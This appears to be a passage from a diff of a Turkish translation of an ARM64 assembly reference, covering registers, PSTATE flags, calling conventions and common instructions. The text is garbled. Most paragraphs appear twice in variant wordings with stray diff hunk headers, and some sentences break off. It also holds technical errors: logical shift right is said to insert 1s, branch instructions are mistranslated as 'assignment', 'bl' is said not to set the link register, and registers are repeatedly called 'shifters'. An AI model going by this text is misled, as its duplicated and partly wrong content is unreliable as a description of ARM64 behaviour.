* **`sp`** değeri her zaman en az bir **quadword hizalamasında** tutulmalıdır aksi takdirde bir hizalama istisnası oluşabilir.
10. **`pc`** - **Program sayacı**, bir sonraki komutu işaret eder. Bu kayıt yalnızca istisna oluşturma, istisna dönüşü ve dallanmalar aracılığıyla güncellenebilir. Bu kaydı okuyabilen yalnızca bağlantılı dal komutları (BL, BLR) olup **`pc`** adresini **`lr`**'ye (Bağlantı Kaydı) saklamak için kullanılır.
11. **`xzr`** - **Sıfır kaydı**. Ayrıca **32**-bit kayıt formunda **`wzr`** olarak da adlandırılır. Sıfır değerini kolayca almak için (yaygın işlem) veya **`subs`** kullanarak karşılaştırmalar yapmak için kullanılabilir, örneğin **`subs XZR, Xn, #10`** sonucu veriyi hiçbir yere saklamadan (**`xzr`**'ye) saklar.
* **`sp`** değeri her zaman en az bir **quadword hizalamasında** tutulmalıdır, aksi takdirde bir hizalama istisnası oluşabilir.
10. **`pc`** - **Program sayacı**, bir sonraki komuta işaret eder. Bu register yalnızca istisna oluşturma, istisna dönüşleri ve dallanmalar aracılığıyla güncellenebilir. Bu registerı okuyabilen tek sıradan komutlar, **`pc`** adresini **`lr`**'ye (Bağlantı Registerı) saklamak için bağlantılı dal komutlarıdır.
11. **`xzr`** - **Sıfır registerı**. 32 bit register formunda **`wzr`** olarak da adlandırılır. Sıfır değerini kolayca almak için (yaygın işlem) veya **`subs`** kullanarak karşılaştırmalar yapmak için kullanılabilir, örneğin **`subs XZR, Xn, #10`** sonuç verisini hiçbir yere saklamadan (**`xzr`**'ye) saklar.
**`Wn`** kayıtları **`Xn`** kaydının **32 bitlik** versiyonudur.
**`Wn`** registerları, **`Xn`** registerının 32 bit versiyonudur.
### SIMD ve Kayan Nokta Kayıtları
### SIMD ve Kayan Nokta Registerları
Ayrıca, optimize edilmiş tek komutla çoklu veri (SIMD) işlemleri ve kayan nokta aritmetiği yapmak için kullanılabilen **128 bit uzunluğunda başka 32 kayıt** bulunmaktadır. Bunlar Vn kayıtları olarak adlandırılır, ancak aynı zamanda **64**-bit, **32**-bit, **16**-bit ve **8**-bit olarak da çalışabilir ve o zaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** ve **`Bn`** olarak adlandırılırlar.
Ayrıca, optimize edilmiş tek komutla çoklu veri (SIMD) işlemleri ve kayan nokta aritmetiği yapmak için kullanılabilen başka **32 adet 128 bit uzunluğunda register** bulunmaktadır. Bunlar Vn registerları olarak adlandırılır, ancak aynı zamanda **64**-bit, **32**-bit, **16**-bit ve **8**-bit olarak da çalışabilir ve o zaman **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** ve **`Bn`** olarak adlandırılırlar.
### Sistem Kayıtları
**Yüzlerce sistem kaydı**, ayrıca özel amaçlı kayıtlar (SPR'ler) olarak adlandırılan, **işlemcilerin** davranışını **izlemek** ve **kontrol etmek** için kullanılır.\
**Yüzlerce sistem kaydı** veya özel amaçlı kayıtlar (SPR'ler) olarak adlandırılan sistem kayıtları, **işlemcilerin** davranışını **izlemek** ve **kontrol etmek** için kullanılır.\
Bu kayıtlar yalnızca özel **`mrs`** ve **`msr`** komutlarını kullanarak okunabilir veya ayarlanabilir.
Özel kayıtlar **`TPIDR_EL0`** ve **`TPIDDR_EL0`** genellikle tersine mühendislik yapılırken bulunur. `EL0` eki, kaydın hangi **istisna** seviyesinden erişilebileceğini belirtir (bu durumda EL0, normal programların çalıştığı istisna (ayrıcalık) seviyesidir).\
Genellikle bunlar bellek bölgesindeki **iş parçacığı yerel depolama** alanının **taban adresini** saklamak için kullanılır. Genellikle birincisi EL0'da çalışan programlar için okunabilir ve yazılabilir, ancak ikincisi EL0'dan okunabilir ve EL1'den (çekirdek gibi) yazılabilir.
Özel kayıtlar **`TPIDR_EL0`** ve **`TPIDDR_EL0`** genellikle tersine mühendislik yapılırken bulunur. `EL0` eki, kaydın hangi **istisna** seviyesinden erişilebileceğini gösterir (bu durumda EL0, normal programların çalıştığı istisna (ayrıcalık) seviyesidir).\
Genellikle bunlar bellek bölgesinin **iş parçacığı yerel depolama** alanının **taban adresini** saklamak için kullanılır. Genellikle birincisi EL0'da çalışan programlar için okunabilir ve yazılabilir, ancak ikincisi EL0'dan okunabilir ve EL1'den (çekirdek gibi) yazılabilir.
* `mrs x0, TPIDR_EL0 ; TPIDR_EL0'i x0'a oku`
* `msr TPIDR_EL0, X0 ; x0'ı TPIDR_EL0'e yaz`
* `msr TPIDR_EL0, X0 ; x0'u TPIDR_EL0'e yaz`
### **PSTATE**
**PSTATE**, işlemcinin **işletim sistemi tarafından görülebilen** **`SPSR_ELx`** özel kaydına seri hale getirilmiş birkaç işlem bileşenini içerir, X tetiklenen istisna **izin seviyesi** olur (bu, istisna sona erdiğinde işlem durumunu kurtarmayı sağlar).\
**PSTATE**, işlemcinin **`SPSR_ELx`** özel kaydına seri hale getirilmiş birkaç işlem bileşenini içerir, X tetiklenen istisna seviyesinin **izin** **düzeyini** belirtir (bu, istisna sona erdiğinde işlem durumunu kurtarmayı sağlar).\
Bu erişilebilir alanlar şunlardır:
<figure><img src="../../../.gitbook/assets/image (1193).png" alt=""><figcaption></figcaption></figure>
* **`N`**, **`Z`**, **`C`** ve **`V`** durum bayrakları:
* **`N`**, işlem negatif bir sonuç verdiğini gösterir
* **`Z`**, işlem sıfır verdiğini gösterir
* **`C`**, işlem taşıdığını gösterir
* **`V`**, işlem işaretli bir taşma verdiğini gösterir:
* **`N`**, işlemin negatif bir sonuç verdiğini belirtir
* **`Z`**, işlemin sıfır verdiğini belirtir
* **`C`**, işlemin taşındığını belirtir
* **`V`**, işlemin işaretli bir taşma verdiğini belirtir:
* İki pozitif sayının toplamı negatif bir sonuç verir.
* İki negatif sayının toplamı pozitif bir sonuç verir.
* Çıkarma işleminde, büyük bir negatif sayıdan daha küçük bir pozitif sayı çıkarıldığında (veya tersi durumda) ve sonuç verilen bit boyutu aralığında temsil edilemiyorsa.
* Açıkça işlemcinin işlemin işaretli olup olmadığını bilmediğini, bu nedenle işlemlerde C ve V'yi kontrol edeceğini ve taşımanın işaretli olup olmadığını belirteceğini unutmayın.
* Açıkçası işlemcinin işlemin işaretli olup olmadığını bilmediği için, işlemlerde C ve V'yi kontrol edecek ve işaretli veya işaretsiz olup olmadığına göre bir taşıma olup olmadığını belirtecektir.
{% hint style="warning" %}
Tüm komutlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları yapar, ve **`ADDS`** gibi s eki olan diğerleri de yapar.
Tüm komutlar bu bayrakları güncellemez. **`CMP`** veya **`TST`** gibi bazıları bunu yapar, ve **`ADDS`** gibi s takısına sahip olanlar da yapar.
{% endhint %}
* Geçerli **kayıt genişliği (`nRW`) bayrağı**: Bayrak değeri 0 ise, program AArch64 yürütme durumunda çalışacaktır.
* Geçerli **kayıt genişliği (`nRW`) bayrağı**: Bayrak değeri 0 ise, program tekrar devam ettiğinde AArch64 yürütme durumunda çalışacaktır.
* Geçerli **İstisna Seviyesi** (**`EL`**): EL0'da çalışan normal bir programın değeri 0 olacaktır
* **Tek adımlama** bayrağı (**`SS`**): Hata ayıklama araçları tarafından tek adımlamak için SS bayrağını **`SPSR_ELx`** içinde 1 olarak ayarlar. Program bir adım çalışacak ve tek adım istisnası verecektir.
* **Tek adımlama** bayrağı (**`SS`**): Hata ayıklama araçları tarafından tek adımlamak için SS bayrağını **`SPSR_ELx`** içinde 1 olarak ayarlamak için kullanılır. Program bir adım çalışacak ve tek adım istisnası verecektir.
* **Yasadışı istisna** durumu bayrağı (**`IL`**): Ayrıcalıklı bir yazılımın geçersiz bir istisna seviyesi transferi gerçekleştirdiğinde işaretlenir, bu bayrak 1 olarak ayarlanır ve işlemci yasadışı bir durum istisnası tetikler.
* **`DAIF`** bayrakları: Bu bayraklar ayrıcalıklı bir programın belirli harici istisnaları seçici olarak maskelemesine izin verir.
* **`DAIF`** bayrakları: Bu bayraklar ayrıcalıklı bir programın belirli harici istisnaları seçmeli olarak maskelemesine izin verir.
* **`A`** 1 ise **asenkron hatalar** tetikleneceği anlamına gelir. **`I`** harici donanım **Kesme İsteklerine** (IRQ'ler) yanıt vermek için yapılandırılır ve F **Hızlı Kesme İstekleri** (FIR'ler) ile ilgilidir.
* **Yığın işaretçisi seçim** bayrakları (**`SPS`**): EL1 ve üstünde çalışan ayrıcalıklı programlar, kendi yığın işaretçi kaydını ve kullanıcı modelini (örneğin `SP_EL1` ve `EL0` arasında) değiş tokuş yapabilir. Bu değişim, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu EL0'dan yapılamaz.
* **Yığın işaretçisi seç** bayrakları (**`SPS`**): EL1 ve üstünde çalışan ayrıcalıklı programlar, kendi yığın işaretçi kaydını ve kullanıcı modelini (örneğin `SP_EL1` ve `EL0` arasında) değiş tokuş yapabilir. Bu değişim, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu EL0'dan yapılamaz.
## **Çağrı Sözleşmesi (ARM64v8)**
ARM64 çağrı sözleşmesi, bir işlev için **ilk sekiz parametrenin** **`x0` ile `x7`** kayıtlarında geçirildiğini belirtir. **Ek** parametreler **yığın** üzerinde geçirilir. **Dönüş** değeri, kayıt **`x0`** içinde geri döndürülür, veya **128 bit uzunluğunda ise** ayrıca **`x1`** içinde de olabilir. **`x19`** ile **`x30`** ve **`sp`** kayıtları işlev çağrıları arasında **korunmalıdır**.
Bir işlevi derleyici dilinde okurken, **işlev giriş ve çıkışını** arayın. **Giriş** genellikle **çerçeve işaretçisini (`x29`)** **kaydetmeyi**, yeni bir **çerçeve işaretçisi** kurmayı ve bir **yığın alanı tahsis etmeyi** içerir. **Çıkış** genellikle **kaydedilen çerçeve işaretçisini geri yüklemeyi** ve işlevden **dönmeyi** içerir.
Bir işlevi derleyici dilinde okurken, **işlev giriş ve çıkışını** arayın. **Giriş** genellikle **çerçeve işaretçisini (`x29`)**, yeni bir **çerçeve işaretçisi ayarlama** ve **yığın alanı tahsis etme** içerir. **Çıkış** genellikle **kaydedilen çerçeve işaretçisini geri yükleme** ve işlevden **dönme** içerir.
### Swift'te Çağrı Sözleşmesi
@ -112,27 +112,27 @@ Swift'in kendi **çağrı sözleşmesi** [**https://github.com/apple/swift/blob/
## **Ortak Komutlar (ARM64v8)**
ARM64 komutları genellikle `opcode hedef, kaynak1, kaynak2` formatına sahiptir, burada **`opcode`** yapılacak işlemi belirtir (`add`, `sub`, `mov`, vb.), **`hedef`** sonucun depolanacağı hedef kayıt, ve **`kaynak1`** ve **`kaynak2`** kaynak kayıtlarıdır. Hemen kaynak kayıtlarının yerine anlık değerler de kullanılabilir.
ARM64 komutları genellikle `opcode hedef, kaynak1, kaynak2` formatına sahiptir, burada **`opcode`** yapılacak işlemi belirtir (`add`, `sub`, `mov` vb.), **`hedef`** sonucun depolanacağı hedef kayıt, ve **`kaynak1`** ve **`kaynak2`** kaynak kayıtlarıdır. Hemen kaynak kayıtlarının yerine anlık değerler de kullanılabilir.
* **`mov`**: Bir değeri bir **kaynaktan** başka bir **kayda taşı**.
* Örnek: `mov x0, x1` — Bu, `x1` den `x0` a değeri taşır.
* **`ldr`**: Bir değeri **bellekten** bir **kayda yükle**.
* Örnek: `ldr x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan `x0` a bir değer yükler.
* Örnek: `ldr x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan değeri `x0` a yükler.
* **Ofset modu**: Orin işaretçisini etkileyen bir ofset belirtilir, örneğin:
* `ldr x2, [x1, #8]`, bu x1 + 8'den x2'ye değeri yükler
* &#x20;`ldr x2, [x0, x1, lsl #2]`, bu x0 dizisinden x1 (endeks) \* 4 pozisyonundaki x2'ye bir nesne yükler
* &#x20;`ldr x2, [x0, x1, lsl #2]`, bu x0 dizisinden x1 (endeks) \* 4 pozisyonundaki nesneyi x2'ye yükler
* **Ön-indeks modu**: Bu, hesaplamaları orijine uygular, sonucu alır ve yeni orijini orijine kaydeder.
* `ldr x2, [x1, #8]!`, bu `x1 + 8` i `x2`'ye yükler ve `x1 + 8` sonucunu `x1`'e kaydeder
* `str lr, [sp, #-4]!`, Bağlantı kaydını sp'ye kaydeder ve sp kaydını günceller
* **Sonrası-indeks modu**: Bu bir öncekine benzer ancak bellek adresine erişilir ve ardından ofset hesaplanır ve saklanır.
* `ldr x0, [x1], #8`, `x1`'i `x0`'a yükler ve `x1`'i `x1 + 8` ile günceller
* `ldr x0, [x1], #8`, `x1`'i `x0`'a yükler ve `x1 + 8` ile `x1`'i günceller
* **PC'ye göre adresleme**: Bu durumda yüklenecek adres, PC kaydına göre hesaplanır
* `ldr x1, =_start`, Bu, `_start` sembolünün başladığı adresi, mevcut PC'ye göre x1'e yükler.
* **`str`**: Bir değeri bir **kaynaktan** **belleğe** **kaydet**.
* Örnek: `str x0, [x1]` — Bu, `x0` daki değeri `x1` tarafından işaret edilen bellek konumuna kaydeder.
* **`ldp`**: **Çift Kayıt Yükle**. Bu komut **ardışık bellek** konumlarından iki kaydı yükler. Bellek adresi genellikle başka bir kayıttaki bir değere bir ofset ekleyerek oluşturulur.
* **`ldp`**: **Çift Kayıt Yükle**. Bu komut, **ardışık bellek** konumlarından iki kaydı yükler. Bellek adresi genellikle başka bir kayırdaki değere bir ofset ekleyerek oluşturulur.
* Örnek: `ldp x0, x1, [x2]` — Bu, sırasıyla `x2` ve `x2 + 8` konumlarındaki bellekten `x0` ve `x1`'i yükler.
* **`stp`**: **Çift Kayıt Sakla**. Bu komut iki kaydı ardışık bellek konumlarına saklar. Bellek adresi genellikle başka bir kayıttaki bir değere bir ofset ekleyerek oluşturulur.
* **`stp`**: **Çift Kayıt Sakla**. Bu komut, iki kaydı **ardışık bellek** konumlarına saklar. Bellek adresi genellikle başka bir kayırdaki değere bir ofset ekleyerek oluşturulur.
* Örnek: `stp x0, x1, [sp]` — Bu, sırasıyla `sp` ve `sp + 8` konumlarındaki belleğe `x0` ve `x1`'i saklar.
* `stp x0, x1, [sp, #16]!` — Bu, sırasıyla `sp+16` ve `sp + 24` konumlarındaki belleğe `x0` ve `x1`'i saklar ve `sp`'yi `sp+16` ile günceller.
* **`add`**: İki kaydın değerlerini ekler ve sonucu bir kayda kaydeder.
@ -153,59 +153,59 @@ ARM64 komutları genellikle `opcode hedef, kaynak1, kaynak2` formatına sahiptir
* **`div`**: Bir kaydırıcının değerini başka bir kaydırıcıya böler ve sonucu bir kaydırıcıda saklar.
* Örnek: `div x0, x1, x2` — Bu, `x1`'deki değeri `x2`'ye böler ve sonucu `x0`'a kaydeder.
* **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
* **Mantıksal sola kaydırma**: Diğer bitleri ileri taşıyarak sona 0'lar ekler (n kez 2 ile çarpar)
* **Mantıksal sağa kaydırma**: Diğer bitleri geri taşıyarak başa 1'ler ekler (n kez 2'ye bölünmüş şekilde işaretsiz)
* **Aritmetik sağa kaydırma**: **`lsr`** gibi, ancak en anlamlı bit 1 ise, 1'ler eklenir (işaretli n kez 2'ye bölünmüş şekilde)
* **Mantıksal sola kaydırma**: Diğer bitleri ileriye taşıyarak sona 0'lar ekler (n kez 2 ile çarpar)
* **Mantıksal sağa kaydırma**: Diğer bitleri geriye taşıyarak başa 1'ler ekler (işaretsiz bölmede n kez 2'ye böler)
* **Aritmetik sağa kaydırma**: **`lsr`** gibi, ancak en anlamlı bit 1 ise, 1'ler eklenir (işaretli bölmede n kez 2'ye böler)
* **Sağa döndürme**: **`lsr`** gibi, ancak sağdan kaldırılan her şey sola eklenir
* **Uzatılmış Sağa Döndürme**: **`ror`** gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kabul edilir. Bu nedenle, taşıma bayrağı 31. bit'e ve kaldırılan bit taşıma bayrağına taşınır.
* **`bfm`**: **Bit Alanı Taşıma**, bu işlemler bir değerden belirli bitleri kopyalar ve bunları belirli konumlara yerleştirir. **`#s`** en sol bit konumunu belirtir ve **`#r`** sağa döndürme miktarını belirtir.
* **Uzantı ile Sağa Döndürme**: **`ror`** gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kabul edilir. Bu nedenle, taşıma bayrağı 31. bit'e ve kaldırılan bit taşıma bayrağına taşınır.
* **`bfm`**: **Bit Alanı Taşıma**, bu işlemler bir değerden belirli bitleri kopyalar ve bunları belirli pozisyonlara yerleştirir. **`#s`** en sol bit konumunu belirtir ve **`#r`** sağa döndürme miktarını belirtir.
* Bit alanı taşıma: `BFM Xd, Xn, #r`
* İşaretli Bit alanı taşıma: `SBFM Xd, Xn, #r, #s`
* İşaretsiz Bit alanı taşıma: `UBFM Xd, Xn, #r, #s`
* **Bit Alanı Çıkarma ve Ekleme:** Bir kayıttan bir bit alanını kopyalar ve başka bir kayda yapıştırır.
* **Bit Alanı Çıkartma ve Ekleme:** Bir kaydırıcıdan bir bit alanını kopyalar ve başka bir kaydırıcıya kopyalar.
* **`BFI X1, X2, #3, #4`** X2'den X1'in 3. bitine 4 bit ekler
* **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden başlayarak dört biti çıkarır ve bunları X1'e kopyalar
* **`SBFIZ X1, X2, #3, #4`** X2'den 4 biti işaretle genişletir ve X1'e 3. bit pozisyonundan başlayarak yerleştirir, sağdaki bitleri sıfırlar
* **`SBFX X1, X2, #3, #4`** X2'den 3. bit başlayarak 4 bit çıkarır, işaretle genişletir ve sonucu X1'e yerleştirir
* **`UBFIZ X1, X2, #3, #4`** X2'den 4 biti sıfırlar genişletir ve X1'e 3. bit pozisyonundan başlayarak yerleştirir, sağdaki bitleri sıfırlar
* **`UBFX X1, X2, #3, #4`** X2'den 3. bit başlayarak 4 bit çıkarır ve sıfırlanmış sonucu X1'e yerleştirir.
* **X'e Uzatılmış İşaret**: Bir değerin işaretini genişletir (veya işaretsiz sürümde sadece 0'ları ekler) işlemler yapabilmek için:
* **X'e İşareti Genişlet**: Bir değerin işaretini genişletir (veya işaretsiz sürümde sadece 0'ları ekler) işlemler yapabilmek için:
* **`SXTB X1, W2`** Bir baytın işaretini genişletir **W2'den X1'e** (`W2`, `X2`'nin yarısıdır) 64 biti doldurmak için
* **`SXTH X1, W2`** 16 bitlik bir sayının işaretini genişletir **W2'den X1'e** 64 biti doldurmak için
* **`SXTW X1, W2`** Bir baytın işaretini genişletir **W2'den X1'e** 64 biti doldurmak için
* **`UXTB X1, W2`** Bir bayta 0'lar ekler (işaretsiz) **W2'den X1'e** 64 biti doldurmak için
* **`extr`:** Belirtilen **çift kaydırıcıdan bitleri çıkarır ve birleştirir**.
* Örnek: `EXTR W3, W2, W1, #3` Bu, **W1+W2'yi** birleştirir ve **W2'nin 3. bitinden W1'in 3. bitine kadar olan kısmı alır ve W3'e kaydeder.
* **`cmp`**: İki kaydırıcıyı karşılaştırır ve koşul bayraklarını ayarlar. `subs`'nin bir **takma adı** olup hedef kaydırıcıyı sıfır kaydırıcıya ayarlar. `m == n`'yi bilmek için kullanışlıdır.
* Örnek: `EXTR W3, W2, W1, #3` Bu, **W1+W2'yi** birleştirir ve **W2'nin 3. bitinden W1'in 3. bitine kadar olan kısmı alır** ve W3'te saklar.
* **`cmp`**: İki kaydırıcıyı karşılaştırır ve koşul bayraklarını ayarlar. `subs`'nin bir **takma adı** olup hedef kaydırıcıyı sıfır kaydırıcıya ayarlar. `m == n` ise bilmeniz için kullanışlıdır.
* Aynı **sözdizimini** destekler
* Örnek: `cmp x0, x1` — Bu, `x0` ve `x1` değerlerini karşılaştırır ve koşul bayraklarını buna göre ayarlar.
* **`cmn`**: **Negatif karşılaştırma** işlemi. Bu durumda, `adds`'nin bir **takma adıdır** ve aynı sözdizimini destekler. `m == -n`'yi bilmek için kullanışlıdır.
* **`cmn`**: **Negatif karşılaştırma** işlemi. Bu durumda, `adds`'nin bir **takma adıdır** ve aynı sözdizimini destekler. `m == -n` ise bilmeniz için kullanışlıdır.
* **`ccmp`**: Koşullu karşılaştırma, önceki bir karşılaştırmanın doğru olması durumunda gerçekleştirilen ve özellikle nzcv bitlerini belirleyen bir karşılaştırmadır.
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> eğer x1 != x2 ve x3 < x4 ise, _func'a atla
* Bu, çünkü **`ccmp`** yalnızca **önceki `cmp` bir `NE` ise** gerçekleştirilecek, değilse bitler `nzcv` 0 olarak ayarlanacaktır (`blt` karşılaştırmasını karşılamayacaktır).
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> x1 != x2 ve x3 < x4 ise _func'a atla
* Bu, çünkü **`ccmp`** yalnızca önceki `cmp` bir `NE` ise gerçekleştirilecek, değilse `nzcv` bitleri 0 olarak ayarlanacaktır (`blt` karşılaştırmasını karşılamayacaktır).
* Bu aynı zamanda `ccmn` olarak da kullanılabilir (aynı ancak negatif, `cmp` vs `cmn` gibi).
* **`tst`**: Karşılaştırmanın değerlerinden herhangi ikisinin de 1 olup olmadığını kontrol eder (sonucu herhangi bir yere kaydetmeden ANDS gibi çalışır). Bir kaydırıcıyı bir değerle kontrol etmek ve belirtilen değerde gösterilen kaydırıcının herhangi bir bitinin 1 olup olmadığını kontrol etmek için kullanışlıdır.
* **`tst`**: Karşılaştırmanın değerlerinden herhangi ikisinin de 1 olup olmadığını kontrol eder (sonucu herhangi bir yere kaydetmeden ve işlem yapmadan çalışır). Bir kaydırıcıyı bir değerle kontrol etmek ve belirtilen değerde gösterilen kaydırıcının herhangi bir bitinin 1 olup olmadığını kontrol etmek için kullanışlıdır.
* Örnek: `tst X1, #7` X1'in son 3 bitinden herhangi birinin 1 olup olmadığını kontrol edin
* **`teq`**: Sonucu atlayarak XOR işlemi
* **`b`**: Koşulsuz atlama
* **`teq`**: Sonucu atlayarak XOR işlemi yapar
* **`b`**: Koşulsuz atama
* Örnek: `b myFunction`&#x20;
* Bu, bağlantı kaydırıcısını dönüş adresiyle doldurmayacaktır (geri dönmesi gereken alt program çağrıları için uygun değildir)
* **`bl`**: Bağlantılı atlama, bir **alt programı çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar.
* Bu, dönüş adresiyle bağlantı kaydırıcısını doldurmayacaktır (geri dönmesi gereken alt program çağrıları için uygun değildir)
* **`bl`**: Bağlantı ile atama, bir **alt programı çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar.
* Örnek: `bl myFunction` — Bu, `myFunction` fonksiyonunu çağırır ve dönüş adresini `x30`'da saklar.
* Bu, bağlantı kaydırıcısını dönüş adresiyle doldurmayacaktır (geri dönmesi gereken alt program çağrıları için uygun değildir)
* **`blr`**: Kayıtlı Bağlantılı Atla, hedefi bir kayıtta belirtilen bir **alt programı çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. (Bu&#x20;
* Örnek: `blr x1` — Bu, adresi `x1`eren fonksiyonu çağırır ve dönüş adresini `x30`'da saklar.
* Bu, dönüş adresiyle bağlantı kaydırıcısını doldurmayacaktır (geri dönmesi gereken alt program çağrıları için uygun değildir)
* **`blr`**: Kayıtlı bir hedefte belirtilen bir **alt programı çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. (Bu&#x20;
* Örnek: `blr x1` — Bu, adresi `x1`inde bulunan fonksiyonu çağırır ve dönüş adresini `x30`'da saklar.
* **`ret`**: **Alt programdan dön**, genellikle **`x30`** adresini kullanarak.
* Örnek: `ret` — Bu, mevcut alt programdan `x30`'daki dönüş adresini kullanarak döner.
* **`b.<cond>`**: Koşullu atlamalar
* **`b.eq`**: **Eşitse atla**, önceki `cmp` talimatına dayanarak.
* Örnek: `ret` — Bu, mevcut alt programdan `x30` adresindeki dönüş adresini kullanarak döner.
* **`b.<cond>`**: Koşullu atamalar
* **`b.eq`**: **Eşitse atama**, önceki `cmp` talimatına dayanır.
* Örnek: `b.eq label` — Önceki `cmp` talimatında iki eşit değer bulunursa, bu `label`'a atlar.
* **`b.ne`**: **Eşit Değilse Dal**. Bu talimat, koşul bayraklarını kontrol eder (önceki bir karşılaştırma talimatı tarafından ayarlanmıştır) ve karşılaştırılan değerler eşit değilse, bir etikete veya adrese dalış yapar.
* Örnek: `cmp x0, x1` talimatından sonra, `b.ne label``x0` ve `x1` içindeki değerler eşit değilse, bu `label`'a atlar.
* Örnek: `cmp x0, x1` talimatından sonra, `b.ne label``x0` ve `x1` içindeki değerler eşit değilse, bu `label`'e atlar.
* **`cbz`**: **Sıfıra Karşılaştır ve Dal**. Bu talimat bir kaydı sıfır ile karşılaştırır ve eğer eşitlerse, bir etikete veya adrese dalış yapar.
* Örnek: `cbz x0, label``x0` içindeki değer sıfırsa, bu `label`'a atlar.
* Örnek: `cbz x0, label``x0` içindeki değer sıfırsa, bu `label`'e atlar.
* **`cbnz`**: **Sıfıra Karşılaştırma ve Sıfır Olmayan Durumda Dal**. Bu talimat bir kaydı sıfır ile karşılaştırır ve eğer eşit değillerse, bir etikete veya adrese dalış yapar.
* Örnek: `cbnz x0, label``x0` içindeki değer sıfır olmayan bir değerse, bu `label`'a atlar.
* Örnek: `cbnz x0, label``x0` içindeki değer sıfır olmayan bir değerse, bu `label`'e atlar.
* **`tbnz`**: Biti test et ve sıfır olmayan durumda dal
* Örnek: `tbnz x0, #8, label`
* **`tbz`**: Biti test et ve sıfır durumunda dal
@ -222,10 +222,10 @@ ARM64 komutları genellikle `opcode hedef, kaynak1, kaynak2` formatına sahiptir
* `csetm Xd, Xn, Xm, cond` -> Doğruysa, Xd = \<tüm 1>, yanlışsa, Xd = 0
* **`adrp`**: Bir sembolün **sayfa adresini hesapla** ve bir kayıtta sakla.
* Örnek: `adrp x0, symbol` — Bu, `symbol`'ün sayfa adresini hesaplar ve `x0`'a saklar.
* **`ldrsw`**: Bellekten işaretle **32 bitlik** bir değeri **64 bit** olarak genişleterek **yükle**.
* Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan işaretle 32 bitlik bir değeri yükler, 64 bit olarak genişletir ve `x0`'a saklar.
* **`stur`**: Bir kaydın değerini başka bir kayırdan bir ofset kullanarak bir bellek konumuna **kaydet**.
* Örnek: `stur x0, [x1, #4]` — Bu, `x1` içindeki adresin 4 byte daha büyük olan bellek adresine `x0` içindeki değeri kaydeder.
* **`ldrsw`**: Bellekten işaretle **32 bitlik** bir değeri **64 bit**e genişleterek **yükle**.
* Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan işaretle 32 bitlik bir değeri yükler, 64 bit'e genişletir ve `x0`'a saklar.
* **`stur`**: Bir kaydın değerini başka bir kayırdan gelen bir ofset kullanarak bir bellek konumuna **sakla**.
* Örnek: `stur x0, [x1, #4]` — Bu, `x1` içindeki adresin 4 bayt daha büyük olan bellek adresine `x0` içindeki değeri saklar.
* **`svc`** : Bir **sistem çağrısı** yap. "Supervisor Call" kısaltmasıdır. İşlemci bu talimatı çalıştırdığında, **kullanıcı modundan çekirdek moduna geçer** ve **çekirdeğin sistem çağrısı işleme** kodunun bulunduğu belirli bir bellek konumuna atlar.
* Örnek:
@ -237,7 +237,7 @@ svc 0 ; Sistem çağrısı yap.
### **Fonksiyon Prologu**
1. **Bağlantı kaydını ve çerçeve işaretçisini yığına kaydet**:
1. **Bağlantı kaydedici ve çerçeve işaretçisini yığına kaydet**:
{% code overflow="wrap" %}
```armasm
@ -246,7 +246,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
{% endcode %}
2. **Yeni çerçeve işaretçisini ayarlayın**: `mov x29, sp` (geçerli işlev için yeni çerçeve işaretçisini ayarlar)
3. **Yerel değişkenler için yığın üzerinde yer ayırın** (gerekiyorsa): `sub sp, sp, <boyut>` (burada `<boyut>`, ihtiyaç duyulan bayt sayısıdır)
3. **Yerel değişkenler için yığın üzerinde alan ayırın** (gerekiyorsa): `sub sp, sp, <boyut>` (burada `<boyut>`, ihtiyaç duyulan bayt sayısıdır)
### **İşlev Epilogu**
@ -264,10 +264,10 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
## AARCH32 Yürütme Durumu
Armv8-A, 32 bitlik programların yürütülmesini destekler. **AArch32**, **iki komut setinden** birinde çalışabilir: **`A32`** ve **`T32`** ve aralarında **`geçiş`** yapabilir.\
**Ayrıcalıklı** 64 bitlik programlar, daha düşük ayrıcalıklı 32 bitlik programa bir istisna seviyesi aktarımı gerçekleştirerek **32 bitlik programların yürütülmesini** planlayabilir.\
64 bitlikten 32 bitliğe geçişin, daha düşük bir istisna seviyesi ile gerçekleştiğini unutmayın (örneğin, EL1'de bir 64 bitlik programın EL0'da bir programı tetiklemesi). Bu, `AArch32` işlem ipliği yürütülmeye hazır olduğunda **`SPSR_ELx`** özel kaydedicisinin **4. bitini 1** olarak ayarlayarak yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'ini saklar. Ardından, ayrıcalıklı işlem **`ERET`** komutunu çağırarak işlemcinin **`AArch32`**'ye geçiş yapmasını sağlar ve CPSR'ye bağlı olarak A32 veya T32'ye girer.
**Ayrıcalıklı** 64 bitlik programlar, daha düşük ayrıcalıklı 32 bitlik programa bir istisna seviye transferi gerçekleştirerek **32 bitlik programların yürütülmesini** planlayabilir.\
